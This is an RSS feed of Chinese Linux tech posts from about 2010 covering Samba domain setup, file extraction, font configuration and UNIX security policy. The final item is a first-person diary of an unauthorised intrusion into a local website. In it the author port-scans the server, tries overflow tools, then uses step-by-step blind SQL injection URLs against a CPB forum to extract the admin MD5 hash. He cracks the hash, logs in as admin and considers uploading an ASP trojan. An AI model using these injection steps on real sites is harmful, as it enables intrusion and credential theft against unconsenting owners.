ibm240<br>　　<br>　　当然你也可以让系统自动添加机器帐号，用下面的方法，不过大家最好先试手动添加，成功后再试验系统自动添加<br>　　<br>　　自动添加只要在[global]添加<br>　　<br>　　add user script = /usr/sbin/useradd -d /dev/null -g machines -s /bin/false -M %u<br>　　<br>　　添加用户帐号<br>　　<br>　　首先添加的是root帐户，把root加入到smb帐户中<br>　　<br>　　smbpasswd -c root<br>　　<br>　　这一步很重要，因为后面的加入域要用到有管理员的帐号加入域的权限，否则用普通用户好像不能顺利加入域<br>　　<br>　　然后添加普通用户<br>　　<br>　　useradd frank<br>　　<br>　　passwd frank<br>　　<br>　　smbpasswd -a frank<br>　　<br>　　为了方便以后的管理，最好smb的用户密码和unix系统密码一样，这样我们还可以用到samba的密码同步功能<br>　　<br>　　#下面的选项语句将允许用户从 Windows 客户机上更改他们的 Samba 密码，这样会随即更新他们的 UNIX 密码以与新的 Samba 项相匹配。但是如果更改了 UNIX 密码，那么同一技术不能逆向工作；必需手工同步更改 Samba 密码。也是在[global]，初学者可以先不做这个工作。<br>　　<br>　　unix password sync = yes<br>　　passwd program = /usr/bin/passwd %u<br>　　passwd chat = *New*UNIX*password* %n\n *Retype*new*UNIX*password* %n\n *Enter*new*UNIX*password* %n\n *Retype*new*UNIX*password* %n\n *passwd: *all*authentication*tokens*updated*successfully*<br>　　<br>　　#上述语句中唯一值得一提的是 passwd chat 选项，不管这里如何显示它，都要将它输入成一行。还要注意有些选项使用“password”，而有些使用“passwd”。<br>　　<br>　　Samba PDC 的配置就这样完成了。剩下唯一要做的是将客户机加入到域中。记得重启samba服务哦！<br>　　<br>　　客户端的设置，这里由于条件的限制，我只试验了windows2000客户端加入域，至于winxp和win98的加入大家自己去试验。<br>　　<br>　　（win200机器最好先重启一下，可以避免一些不必要的问题）然后转至 控制面板 -> 网络-> 网络标示，如果机器目前被配置在 工作组 选项下，那么选中 域 单选按钮并输入域名bmit。<br>　　<br>　　现在，通过使用用户名 root 和相应的密码登录到域。必需初始化服务器和客户机机器之间的“秘密”。从此时起，任何已认证的用户都可以从这台机器登录。<br>　　<br>　　应该出现一个欢迎您来到 XX域的消息<br>　　<br>　　恭喜你已经成功将samba配置成PDC<br>　　<br>　　据说xp加入samba建立的域有点复杂，我没试验过，大家有兴趣的话，最好去samba的老家看看文档，好像是要设置安全选项，并修改注册表，好麻烦哦，幸亏我没有xp ：）
</DIV><br><br><br><br>]]></description>
			<link>http://eaxi.com/tech/show-10348-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10347-1.html</guid>
			<title>gunzip</title>
			<author></author>
			<description><![CDATA[
从tgz包中解压出某个文件<br />
$gunzip -dc file.tar.gz | tar tf -<br />
可以看包里面的文件<br />
然后用<br />
$gunzip -dc file.tar.gz | tar xf - file1 file2<br />
其中file1 file2是你要解出来的文件。这个方法因为用的是stdout和pipe, 不需要占用多少的临时磁盘空间。<br />
<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10347-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10346-1.html</guid>
			<title>oracle安装过程中无法换盘</title>
			<author></author>
			<description><![CDATA[
我在redhat8上安装oracle9i过程中，提示换第二张盘，可我的光驱却退不出来，怎么办？<br />
光驱是mount 命令加载的，可在换盘时，我在root下用umount命令提示光盘busy.怎么办？<br />
在线等待！！！！<br />
<br />
应该这样执行Oracle安装程序<br />
/mnt/cdrom/runinstaller,<br />
<br />
如果你是先cd /mnt/cdrom的话就会出这样的问题<br />
解决方法是先找出访问光驱的那个进程<br />
fuser -m /mnt/cdrom<br />
再杀掉这个进程，就可以弹出光驱了<br />
<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10346-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10345-1.html</guid>
			<title>几乎适合任何Linux的简单,规范而有效的中文化</title>
			<author></author>
			<description><![CDATA[
以下步骤都是建立在XFree86-4.3.0.1 GTK+-1.2.10 GTK+-2.2.4 Pango-1.2.5 FreeType-2.1.5 Fontconfig-2.2.1 ,Locale=zh_CN.GB2312上.<br />
<br />
一.添加TrueType字体.用到了Windows下simsun.ttf tahoma.ttf tahomabd.ttf<br />
安装完XFree86后,会自动生成了一个TrueType字体目录:<br />
/usr/X11R6/lib/X11/fonts/TTF.这个目录已经包含了一些TrueType字体并且已经配置完毕.<br />
您可以复制其他TrueType字体到这个目录中.也可以在/usr/X11R6/lib/X11/fonts/<br />
目录下建立一个新目录然后把您的TrueType字体放到进去.<br />
<br />
创建文件 fonts.scale 和 fonts.dir :<br />
<br />
现在进入你放置TrueType字体的目录，然后运行：<br />
mkfontscale &&<br />
mkfontdir<br />
注意:由于SimSun是可缩放字体，你应该要先运行mkfontscale。(XFree4.3才支持的).详情见: http://www.xfree86.org/4.3.0/fonts2.html<br />
<br />
另外:你可能需要手动修改这两个文件。参考:<br />
<br />
http://fractal.csie.org/~eric/wiki/Fontconfig#fonts.conf<br />
http://freedesktop.org/software/fontconfig<br />
<br />
修改XF86Config以加载支持TrueType的模块<br />
<br />
"Module"部份应该是这样：<br />
<br />
Section "Module"<br />
...<br />
Load "freetype"<br />
...<br />
EndSection<br />
<br />
修改XF86Config中的FontPath部分加入TrueType目录<br />
<br />
"Files"部份应该像这样：<br />
<br />
Section "Files"<br />
...<br />
FontPath "YOUR FONTS DIR"<br />
...<br />
EndSection<br />
<br />
更新字体缓存文件<br />
<br />
最后，更新在 /etc/fonts/fonts.conf<br />
文件中指明的所有字体的缓存文件，命令如下：<br />
<br />
fc-cache<br />
<br />
现在XFree86在重起后可以使用TrueType字体了. 您可以使用 xlsfonts 或<br />
xfontsel 程序来查看一下是否已经有了新字体.<br />
<br />
注: 在增加或减少了 TrueType字体后，你必须再次运行 mkfontscale 和<br />
mkfontdir.不管增加和减少的是不是 TrueType字体，你必须再次运行 fc-cache.<br />
<br />
<br />
二.GTK1中程序字体的设置(包括XMMS,Mplayer等).<br />
中文字体主要修改文件/etc/gtk/gtkrc.zh_CN,以下是我的,你也可以在前面两个 * 处指定字体,如-adobe-helvetica,-misc-simsun等.用 * 可以让程序自己选择字体。‘14’则表示字体大小。后面为对应的Locale设置。<br />
<br />
style "gtk-default-zh-cn" {<br />
fontset = "-*-*-medium-r-normal--14-*-*-*-*-*-iso8859-1,\\<br />
-*-*-medium-r-normal--14-*-*-*-*-*-gb2312.1980-0,*-r-*"<br />
}<br />
class "GtkWidget" style "gtk-default-zh-cn"<br />
<br />
或<br />
<br />
style "gtk-default-zh-cn" {<br />
fontset = "-microsoft-Tahoma-medium-r-normal--14-*-*-*-*-*-iso8859-1,\\<br />
-misc-SimSun-medium-r-normal--14-*-*-*-*-*-gb2312.1980-0,*-r-*"<br />
}<br />
class "GtkWidget" style "gtk-default-zh-cn"<br />
<br />
三.GTK2中程序字体的设置(如,gaim,gqview等)<br />
中文字体主要修改文件/etc/gtk-2.0/gtkrc,以下是我的供参考<br />
<br />
style "default"<br />
{<br />
font_name = "Tahoma,SimSun 12"<br />
}<br />
<br />
widget_class "*" style "default"<br />
<br />
英文字体要在前面,不然英文中文都会用SimSun显示。<br />
<br />
最后，在Gnome,Xfce4等WM选择Tahoma字体。<br />
这样中英文显示效果都不错。<br />
<br />
参考：<br />
一部分: www.linuxfromscratch.org ; www.xfree86.org<br />
三部分: http://www.ajgenius.us/gnome/gnome2-gtk2-themes.html<br />
<br />
<br />
<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10345-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10344-1.html</guid>
			<title>和ultraedit一样的编辑器</title>
			<author></author>
			<description><![CDATA[
你如果还是习惯uedit的操作方式，我建议你用beaver或者glimmer，vim和emacs你短期都难以适应。<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10344-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10343-1.html</guid>
			<title>金融领域UNIX网络系统的安全管理策略</title>
			<author></author>
			<description><![CDATA[
一.UNIX系统的基本安全机制<br />
<br />
1.用户帐号<br />
<br />
用户帐号就是用户在UNIX系统上的合法身份标志，其最简单的形式是用户名/口令。在UNIX系统内部，与用户名/口令有关的信息存储在 /etc/passwd文件中，一旦当非法用户获得passwd文件时，虽然口令是被加密的密文，但如果口令的安全强度不高，非法用户即可采用“字典攻击”的方法枚举到用户口令，特别是当网络系统有某一入口时，获取passwd文件就非常容易。<br />
<br />
2.文件系统权限<br />
<br />
UNIX文件系统的安全主要是通过设置文件的权限来实现的。每一个UNIX文件和目录都有18种不同的权限，这些权限大体可分为 3类，即此文件的所有者、组和其他人的使用权限如只读、可写、可执行、允许SUID和SGID等。需注意的是权限为允许SUID、SGID和可执行文件在程序运行中，会给进程赋予所有者的权限，若被入侵者利用，就会留下隐患，给入侵者的成功入侵提供了方便。<br />
<br />
3.日志文件<br />
<br />
日志文件是用来记录系统使用状况的。UNIX中比较重要的日志文件有3种：<br />
<br />
(1)/usr/adm/lastlog文件。此文件用于记录每个用户最后登录的时间（包括成功和未成功的），这样用户每次登录后，只要查看一下所有帐号的最后登录时间就可以确定本用户是否曾经被盗用。<br />
<br />
(2)/etc/utmp和/etc/wtmp文件。utmp文件用来记录当前登录到系统的用户，Wtmp文件则同时记录用户的登录和注销。<br />
<br />
(3)/usr/adm/acct文件。此文件用于记录每个用户运行的每条命令，通常我们称之为系统记帐。<br />
<br />
二.UNIX系统和安全防范<br />
<br />
金融系统应用的UNIX网络系统一般均采用客户/服务器方式。系统前台客户机运行并向后台系统发出请求，后台服务器为前台系统提供服务，系统功能由前后台协同完成，典型的应用如：前台运行银行界面输入输出、数据校验等功能，后台实现数据库查询等操作。由于UNIX系统设计基于一种开放式体系结构，系统中紧密集成了通信服务，但存在一定程度的安全漏洞，容易受到非法攻击，通过多年的实践证明，加强安全防范，特别是针对一些可能的网络攻击采取一定的安全防范措施，UNIX网络系统的安全性就可以大大提高。<br />
<br />
1.网络攻击类型<br />
<br />
(1)猛烈攻击(Brute－force Attack)。此攻击的目标是为破译口令和加密的信息资源，当试图入侵者使用一个高速处理器时，便可试用各种口令组合(或加密密钥),直到最终找到正确的口令进入网络，此法通常称之为“字典攻击”。<br />
<br />
(2)社会工程攻击(Social－engineering Attack)。此攻击也是最难防备的一种攻击方式。网上黑客通常扮成技术支持人员呼叫用户，并向用户索要口令，而后以用户的身份进入系统。这是一种最简单同时也是最有效的攻击方式。<br />
<br />
(3)被动攻击(Passive Attack)。非法用户通过探测网络布线等方法，收集敏感数据或认证信息，以备日后访问其他资源。<br />
<br />
(4)拒绝服务(Denial－of－Service)。此攻击的目的通常是指试图入侵网络者采用具有破坏性的方法阻塞目标网络系统的资源，使网络系统暂时或永久瘫痪。如入侵者使用伪造的源地址发出TCP/IP请求，阻塞目标网络系统的资源从而使系统瘫痪。<br />
<br />
2.网络安全防范策略<br />
<br />
网络系统的攻击者可能是非法用户，也可能是合法用户，因此，加强内部管理、防范与外部同样重要。可实施以下策略进行防范。<br />
<br />
(1)加强用户权限管理。为了保护UNIX系统资源安全，即使是对合法用户也必须采用最小权限法，即给每个用户只授予完成特定任务所必需的系统访问权限。通常可以采用给每一个用户建立请求文件和资源访问许可权的程序，给定每个用户要处理的任务权限及任务的持续时间等。<br />
<br />
(2)加强用户口令管理和更新。口令通常是较容易出现问题的地方，即使口令被加密，也容易在非法入侵者的“猛烈攻击”下被攻破。金融系统通常是一个群体工作环境，工作中经常存在各种授权，银行的柜台活动也处在电视监控之下，口令泄露机会较多。因此，一方面要强制使用安全口令(使用非字母字符、大小写字母混用、规定口令最小长度不得少于6位数，最好8位数、使用强加密算法等);另一方面系统管理员要主动定期使用口令检查程序(如:Crack)对口令文件进行检查，若口令不合乎安全规范，则需及时更换口令。还可以采用一定的技术手段，增加 “字典攻击”的难度，如改变口令加密算法中的加密参数，然后加密口令，这样除非攻击者同样改变了此参数，否则就得不到正确的口令。加强监控室及监控录象带的管理，对各类授权活动最好采用刷卡方式进行。<br />
<br />
(3)设置防火墙。将网络系统内部分为多个子网，分级进行管理，这样可以有效地阻止或延缓入侵者的侵入。通常防火墙设置在内部网络与外部网络的接口处，防火墙从功能和实现机制上分为数据包过滤、代理服务器两大类，两者在安全防护上各有特点，因此，一个比较完善的防护隔离体系就是将两种防火墙结合起来，形成屏蔽子网体系结构，此举可大大提高内部网络的安全系数。但是，防火墙只能防护外部网络对内部网络的攻击，无法防护由内部网络发起的攻击或者拥有合法访问权限的内部人员从外部发起的攻击，并且防火墙无法防护内外网络之间有其它不通过防火墙的通路。总之，防火墙需要与其它机制配合才能适应新的威协。<br />
<br />
(4)建立实时监视系统。使用ISS的RealSecure实时监控系统对网络系统的运行过程进行实时监视和审计，对内部或外部黑客的侵入及一些异常的网络活动能够实时地进行识别、审计、告警、拦截。RealSecure还能和防火墙产品配合，及时切断“黑客”与信息系统的连接，形成一个动态的安全防护体系。ISS软件信息可访问http://www.iss.net。<br />
<br />
(5)定期对网络进行安全漏洞检测。网络安全是千变万化的，所以保护措施也应该是动态的，没有固定的模式可循，作为UNIX系统的管理人员,也要尝试定期对网络服务器进行攻击测试，这样既可以分析和探索试图入侵者的攻击思路，同时又可以及时发现系统安全保护机制中的潜在问题，及时进行有效防范。<br />
<br />
(6)制定相应的灾难恢复计划。没有一种安全策略是十全十美的，因此根据可能发生的情况制定相应的灾难恢复计划是非常有必要的。一是定时对网络系统上各个计算机的系统文件、数据库文件进行备份。二是对网络系统和通讯系统备份，在系统万一遇到恶意攻击、软件故障、硬件故障、用户错误、系统管理员错误等灾难后，可以及时采取相应的对策，恢复系统的正常运行，尽可能将损失减少到最小程度。<br />
<br />
3.加强网络系统服务的安全手段和工具<br />
<br />
(1)直接配置检查。使用COPS(Computer Oracle Password and Seurity System)从系统内部检查常见的UNIX安全配置错误与漏洞，如关键文件权限设置、ftp权限与路径设置、root路径设置、口令等等，指出存在的失误，减少系统可能被本地和远程入侵者利用的漏洞。COPS软件信息可访问http://www.jordanpan@163.net。<br />
<br />
(2)使用记录工具记录所有对UNIX系统的访问。大多数现成的UNIX应用系统可以通过Syslog来记录事件，这是UNIX系统提供的集中记录工具。通过每天扫描记录文件/var/adm/messaged，并可通过配置 Syslog，把高优先级的事件及时传送给系统安全员处理。另一个有用工具是TCP Wrappers，应用此软件可以解决UNIX网络系统安全监视和过滤问题，本软件将所有TCP连接试图(无论成功与否)，都记录到一个文本文件里，文本文件具体内容包括请求的源地址、目的地址、TCP端口和请求时间等。通过监视TCP Wrappers记录，查看所有未遂连接试图，并可以通过配置，由TCP Wrappers来根据某些因素，如源或目的TCP端口、IP地址等接受或者拒绝TCP连接。TCP Wrappers软件下载地址为ftp://ftp.win.tue.nl/pub/security。<br />
<br />
(3)远程网络登录服务。此服务是我们使用最频繁的，UNIX系统提供了telnet和 ftp远程登录，当使用telnet或ftp登录时，用户名和口令是明文传输的，这就可能被网上其他用户截获。入侵者也经常使用telnet或 ftp对网络系统发动“猛烈攻击”。入侵者可较容易地编写一个脚本，通过破译不同的口令来试图和远程服务器建立连接，而telnet精灵进程在多次连接试图失败之后会产生一定的延迟，延迟时间和未遂的注册次数成正比，从而防止入侵。还有一种加强telnet或ftp服务口令安全的方法，就是每次使用不同的密码，这可通过S/KEY工具实现。S/KEY系统建立在一次性用户口令的基础上，生成一系列口令，用户可以使用这些口令与UNIX服务器进行远程访问，且不需要特殊的客户机软件。S/KEY的认证算法使得入侵者无法预测用户下一个口令的内容。由于ftp功能与telnet类似，为此可以修改 /etc/ftpusers文件，指定不允许通过ftp进行远程登录的用户。使用匿名ftp服务，任何人都可以随意注册下载或上载文件，如果不需要匿名 ftp服务，可以把username ftp从/etc/passwd文件里删除掉；如果必须提供匿名ftp服务，可以把它安装在本网络之外被称为停火区(DMZ)的服务器中。同时，我们建议使用安全的远程访问工具SSH，其安全性强于telent和ftp。SSH具有强力远程主机认证机制，可以有效降低入侵者通过DNS或者IP地址欺骗手段模仿客户机的可能性，同时SSH还支持多种端到端的加密协议，如DES、Triple－DES、IDEA和Blowfish等，从而更有利于保证整个通讯系统的安全。使用SSH时应禁止使用telnet、ftp和rlogin服务。S/KEY信息可访问http://yak.net/skey。<br />
<br />
(4)NFS(Network File System)服务。此服务允许工作站通过网络系统共享一个或多个服务器输出的文件系统。早期的NFS协议使用RPC(Remote Procedure Call)进行客户机与服务器数据交换，由于用户不经登录就可以阅读或更改存储在NFS服务器上的文件，使得NFS服务器很容易受到攻击。为了确保基于 UNIX系统的所有NFS服务器均支持Secure RPC，Secure RPC使用DES加密算法和指数密钥交换技术验证每个NFS RPC请求的身份。当用户登录到某台工作站时，login程序从NIS(Network Information System)数据库中获得一个包含用户名、用户公钥以及用于用户口令加密的用户私钥三项内容的记录（在Secure RPC4.1以上版本中，私钥被保存在内存中的 Keyserver进程中），而工作站和服务器用自已的私钥和对方的公钥产生一个Session Key。随后工作站产生一个56位随机Conversation Key,用Session Key加密后传给服务器,登录时均使用Conversation Key进行加密。在数据传输过程中，服务器通过以下推理确认用户身份是否合法，首先用户传送的包是用Conversation Key加密的；其次只有知道用户的私钥才能产生Conversation Key;最后必须知道口令才能解开加密的私钥。使用NFS还应注意以下几点：尽可能以只读方式输出文件系统；只将必须输出的文件系统输出给需要访问的客户，不要输出本机的可执行文件，或仅以只读方式输出；不要输出所有人都可以写的目录；不要输出用户的home目录；将所有需要保护的文件的owner设为 root，权限均设为755(或644),这样即使工作站上的root帐号被攻破，NFS服务器上的文件仍能受到保护；可使用fsirand程序，增加制造文件句柄的难度。<br />
<br />
(5)NIS (Network Information System)服务。这是一个分布式数据系统，计算机用它能够通过网络共享passwd文件、group文件、主机表和一些类似的资源。通过NIS和 NFS，整个网络系统中所有工作站的操作就好象在使用单个计算机系统，而且其中的过程对用户是透明的。但在NIS系统中，用户可以编写程序模仿 ypserv来响应ypbind的请求，从而获取用户的口令。因此，NIS客户最好使用ypbind的secure选项，不接受非特权端口(即端口号小于 1024)的ypserv响应。<br />
<br />
(6)finger服务。通常使用finger命令是为了查看本地或远程网络系统中当前登录用户的详细信息,但同时也为入侵者提供了成功入侵系统的机会。所以，最好禁止使用finger。<br />
<br />
3.结束语<br />
<br />
只有针对UNIX网络系统存在的漏洞采取相应的安全保护措施，才能遏制金融计算机犯罪率。但在客观上要完全消除UNIX网络系统的安全隐患非常困难，一是因为UNIX系统本身是一种非常复杂的系统，二是因为UNIX系统数年来在各领域的广泛使用，使得它成为被研究得最透彻的系统之一。通常入侵者发动的攻击形式是极其复杂的，保护UNIX系统安全的关键是针对入侵者可能发动的攻击制定出一系列切实可行的安全防范策略，使各种攻击在多样化的安全防范措施面前不能轻易得逞。在对IP级安全实施加固之后(如设立安全IP包、过滤防火墙等)，还必须对传输层和应用层的安全进行加固，同时要在金融系统内部建立一整套网络系统安全管理规章和防范措施，经常进行监督检查，使安全管理规章和防范措施落到实处。要使每一位员工都有防范金融计算机犯罪的概念，了解其作案的手法及产生的危害，提高全员主动防范意识，这样才能真正有效地预防金融计算机案件的发生。<br />
<br />
<br />
<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10343-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10342-1.html</guid>
			<title>入侵日记一则(CPB论坛注入攻击)</title>
			<author></author>
			<description><![CDATA[
昨晚又通宵了一晚，今天睡了一天，醒来时郁闷闷的。。。。。。，心烦！已经全然没有了学习的兴趣~登陆QQ看看，好友全不在线。无聊信手乱开网页，来到本地一个比较有名的网站，看了看，比上次来时多加了些新东西。反正没事做，就检测一下这个站的安全性吧。（我不是黑客，却有着黑色的信仰，网络安全永远是我的爱好！）<br />
<br />
在网站转了一下，看到也有文章系统。不过是HTM的，但用鼠标指向连接，可以看到：<br />
http://xxx.xxx.xxx/0019/open.asp?id=888&path=wshl&filename&=200381171455.htm<br />
<br />
我提交http://xxx.xxx.xxx/0019/open.asp?id=888 and 1=1<br />
<br />
跳回主页<br />
<br />
接着提交http://xxx.xxx.xxx/0019/open.asp?id=888 and 1=2<br />
<br />
跳回主页<br />
<br />
看来是不能利用了。:(<br />
<br />
接着，用XSCAN扫了下端口和CGI，IIS漏洞<br />
<br />
打开CMD命令提示符窗口，输入PING XXX.XXX.XXX（XXX为网址)，从返回信息得到IP-----SSS。SSS。SSS。SSS<br />
晕，开了很多端口，给我的第一印象就是-----这站够垃圾~<br />
<br />
看主机开的那些端口，和我机子上WIN2000SERVER默认开的端口差不多，估计是WIN2000SERVER版。<br />
我菜，找了几个比较熟悉的试了一下，21,80,135,139。<br />
<br />
21端口，我试着扫了下FTP弱口令和是否支持匿名登陆。失败~~~~:(<br />
139端口，试着扫了IPC弱口令，（如果被我扫出有弱口令，那这服务器也太。。。。。。・・##%￥#―，哈哈），并且用NET VIEW看了下有没有共享。失败~~~~:(<br />
<br />
80端口，我先在CMD命令提示符下：<br />
telnet sss.sss.sss.sss 80<br />
get 回车<br />
从返回的信息得知是IIS5。0<br />
可能有WEBDAV溢出漏洞，用WEBDAV溢出程序试了一下，失败~~~~<br />
<br />
135端口，记得这端口可能可以RPC溢出，正好我的机子上有这工具，试了下，失败~~~~<br />
<br />
无奈，又到站上逛了一下，这时，发现一个论坛。点击进去看了看。<br />
<br />
是个CPB论坛，版本1。2，用ASP写的，以前没见过。<br />
<br />
去GOOGLE搜了一下有没有关于这论坛的漏洞资料，无。。。。。<br />
<br />
试着注册一个用户，管理员屏蔽了用户注册。<br />
<br />
下了一个CPB论坛程序，看了看数据库，ASP的，也不能下载。<br />
<br />
看CPB论坛说明得知默认管理员帐号和密码 admin admin<br />
<br />
试试看管理员改了密码没，用admin admin登陆，提示登陆失败。看来管理员改了密码或删掉了admin用户。<br />
<br />
不管那么多了，先进个版块看看吧，随手点了个版块。这是，看到版块的URL，<br />
<br />
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4<br />
<br />
看这个连接可能有SQL漏洞，虽然以前没有SQL过论坛，还是试了一下。<br />
<br />
首先，提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 1=1<br />
<br />
正常返回<br />
<br />
然后，提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 1=2<br />
<br />
出错。<br />
<br />
看来有SQL漏洞。但此时心中也没有一点窃喜，根据以前SQL下载系统的经练，仅凭这点，还没把握拿到密码。不管那么多，先试下吧。<br />
<br />
接着，看看是否存在ADMIN表，提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admin)<br />
<br />
返回的是一个出错的页面，提示：<br />
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'<br />
<br />
[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。<br />
<br />
/bbs/list.asp，行145<br />
<br />
这和我以前玩过的不一样，以前玩的都是正常返回。我随手在表admin后加了个S，<br />
提交如下: http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admins)<br />
<br />
显示“该页无法显示”<br />
<br />
我又试着提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admindfgfdg)<br />
<br />
显示"该页无法显示 “<br />
<br />
通过这点，我判断，第一次我提交的应该是成功的，就是说，应该存在ADMIN表。<br />
<br />
接着，判断管理员ADMIN表ID，提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select id from admin where id&gt;1)<br />
<br />
显示"该页无法显示 “<br />
<br />
看这个返回结果，显然是不正常的返回，而且ID的值我是从最小的1判断的，肯定那里出错了，具体我也说不清楚，我菜~<br />
<br />
接着，我试了下提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id&gt;1)，也就是把ID改成了l_id,这是我以前没玩过的。<br />
<br />
返回的是，出错。<br />
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'<br />
<br />
[Microsoft][ODBC Microsoft Access Driver] 参数不足，期待是 1。<br />
<br />
/bbs/list.asp，行145<br />
<br />
这和判断是否存在ADMIN表时返回的是一样的。我窃喜了一下，接着试着提交：<br />
<br />
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select ls_id from admin where ls_id&gt;1)<br />
<br />
显示“该页无法显示"<br />
<br />
因此，我断定ID应该用l_id，可能这对高手来说早就知道了，但这对菜鸟我来说，从没玩过，哈哈，看来今天就算拿不到密码也是有收获的，因为又多了点SQL注入的经练。<br />
<br />
之后就是很顺利的，提交：http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id&gt;5)<br />
<br />
返回<br />
错误提示：<br />
<br />
您是否阅读了帮助文件，您没有权限继续下一步操作，通常是以下原因：<br />
很抱歉，无此论坛！<br />
<br />
看来l_id的值小与或等于，提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id=4)<br />
<br />
返回<br />
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'<br />
<br />
[Microsoft][ODBC Microsoft Access Driver] 参数不足，期待是 1。<br />
<br />
/bbs/list.asp，行145<br />
<br />
因此判断l_id的值为4.<br />
<br />
接下来猜ADMIN表里的用户名长度，提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(username)&gt;1)<br />
<br />
依然从最小的1开始判断，返回：<br />
错误提示：<br />
<br />
您是否阅读了帮助文件，您没有权限继续下一步操作，通常是以下原因：<br />
很抱歉，无此论坛！<br />
<br />
说明没有username，试了下<br />
<br />
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 4=(select min(l_id) from admin where len(admin)&gt;1)<br />
<br />
根据结果得知存在admin，接着提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(admin)=5)<br />
<br />
返回的信息说明admin长度为5。<br />
<br />
接着猜用户名，根据刚才看到的CPB论坛默认管理员帐号admin,一次提交：<br />
<br />
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(admin,5)='admin')<br />
<br />
呵呵，成功。减少了不少麻烦。<br />
<br />
接下来猜密码长度，提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)&gt;1)<br />
<br />
返回<br />
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'<br />
<br />
[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。<br />
<br />
/bbs/list.asp，行145<br />
<br />
哈哈，看来有password,接下来猜长度，提交<br />
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)&gt;8<br />
<br />
返回<br />
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'<br />
<br />
[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。<br />
<br />
/bbs/list.asp，行145<br />
<br />
说明密码大于8。<br />
<br />
然后提交：<br />
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)&gt;10<br />
<br />
返回和上面一样，这时，根据经练，有种不祥的预感，密码用MD5加密了的！MD5加密算法不可逆，目前只能暴力破解.<br />
<br />
接着提交：<br />
<br />
<br />
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)=16<br />
返回和上面一样，晕呀~~~~~~~~~~~~~果然是MD5加密过的了。<br />
<br />
不管那么多了，先猜出来吧，说不定也可以象DVBBS6。0那样可以通过COOK欺骗进入后台管理。<br />
<br />
提交：http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='a')<br />
<br />
错误。<br />
<br />
依次猜：<br />
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='b')<br />
错误<br />
当试到http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='e')，<br />
正确，后面猜第2位密码<br />
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,2='6')<br />
第3位:<br />
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,2='f')<br />
<br />
花了一点时间，才出MD5加密的密码为:e6f448a30c41a4ea<br />
<br />
抱着试下的心理去网上DOWN了个MD5暴力破解工具，先猜数字，长度选5-6，偶晕~~~~~，1分钟不到，猜出来，密码225588，我都不相信，试了下登陆，居然成功。<br />
哈哈，今天运气真好，要是现在福彩没关门，我一定去买~~~~~~~~~~<br />
<br />
在后台转了一下，发现可以设置上传文件类型，偶晕~<br />
如果上传个ASP木马，然后。。。。。。。。嘿嘿~~~~~<br />
有可能搞定整个服务器，偶晕~<br />
好了，不要太过分。到此为止。<br />
看了管理员资料，找到QQ，看了不在线，明天再通知他们补上吧。<br />
<br />
By BlackFaith<br />
<br />
<br />
=========================<br />
文章类型:转载 提交:沙加II 核查:NetDemon<br />
<br />
返回<br />
<br />
